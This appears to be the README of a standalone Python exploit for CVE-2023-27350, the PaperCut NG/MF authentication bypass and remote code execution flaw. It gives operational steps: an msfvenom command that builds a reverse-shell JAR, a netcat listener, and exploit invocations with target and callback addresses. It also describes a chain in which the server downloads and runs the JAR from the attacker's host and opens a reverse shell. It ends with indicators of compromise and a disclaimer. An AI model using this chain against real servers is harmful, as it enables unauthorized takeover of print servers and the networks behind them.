CVE-2023-27350 — PaperCut NG/MF Authentication Bypass & RCE

Standalone Python exploit for the critical authentication bypass and remote code execution vulnerability in PaperCut NG/MF. CVSS 9.8.

Description

CVE-2023-27350 affects PaperCut NG and MF in versions prior to 20.1.7, 21.2.11, and 22.0.9. The flaw allows an unauthenticated attacker to access the /app?service=page/SetupCompleted endpoint — a setup page intended to be reachable only during the initial installation — and obtain a valid administrative session without any credentials.

With admin access, the attacker can enable PaperCut's print scripting mechanism and inject arbitrary code executed by the server's JVM, resulting in full RCE in the context of the service user.

Affected Versions

Branch	Fixed Version
20.x	20.1.7
21.x	21.2.11
22.x	22.0.9

Versions 18.x and earlier received no official patch.

Reference Implementations

This exploit was developed from the analysis of two public implementations:

1. horizon3ai/CVE-2023-27350 (Python)

• Repository: https://github.com/horizon3ai/CVE-2023-27350
• Approach: uses Runtime.exec() with a plain string to run commands
• Limitations: Runtime.exec(String) does not process shell metacharacters (>&, |, 0>&1), making reverse shell payloads ineffective. The script also hardcodes the printer ID (l1001) and checks for English-only success strings, failing on non-English instances
• Incorrect engine assumption: does not account for PaperCut using RhinoJS (not BeanShell), which causes syntax errors in certain Java payloads

2. rapid7/metasploit-framework — PaperCutNG Authentication Bypass

• Module: exploit/multi/http/papercut_ng_rce
• Approach: loads a Metasploit JAR into the JVM via URLClassLoader, avoiding any shell dependency
• Limitations: requires the full Metasploit Framework and generates a Java/Meterpreter payload; not easily adapted for standalone use with nc

Requirements

Python 3.x
requests
msfvenom (part of Metasploit Framework)
nc (netcat)

pip install requests

Usage

1. Generate the JAR payload

msfvenom -p java/shell_reverse_tcp \
  LHOST=<YOUR_IP> LPORT=<SHELL_PORT> \
  -f jar -o payload.jar

2. Start a listener

nc -lvnp <SHELL_PORT>

3. Run the exploit

python exploit.py \
  -u http://<TARGET>:9191 \
  -j payload.jar \
  -lh <YOUR_IP> \
  -lp <HTTP_PORT> \
  -rp <SHELL_PORT>

Example:

python exploit.py \
  -u http://192.168.1.100:9191 \
  -j payload.jar \
  -lh 192.168.1.10 \
  -lp 9090 \
  -rp 4444

Parameters

Parameter	Description	Default
-u / --url	PaperCut base URL	required
-j / --jar	Path to payload.jar	required
-lh / --lhost	Your IP (target will connect back here)	required
-lp / --lport	HTTP port to serve the JAR	9090
-rp / --rport	Reverse shell port	4444

How It Works

1. Auth bypass via /app?service=page/SetupCompleted
        ↓
2. Obtain admin JSESSIONID without credentials
        ↓
3. Select [Template Printer] (l1001)
        ↓
4. Inject RhinoJS script into the print script field
        ↓
5. Script creates a URLClassLoader pointing to our HTTP server
        ↓
6. PaperCut JVM downloads and executes payload.jar
        ↓
7. Reverse shell

Indicators of Compromise (IoC)

• Access to /app?service=page/SetupCompleted without a prior session
• Modification of print-and-device.script.enabled and print.script.sandboxed settings (versions >= 19)
• Outbound HTTP connection from the PaperCut server to an external IP
• URLClassLoader instantiation with an external URL in JVM logs

Legal Disclaimer

This exploit is provided for educational purposes and authorized use only (penetration testing, CTF, lab environments). Unauthorized use against systems without explicit permission is illegal. The author is not responsible for any misuse.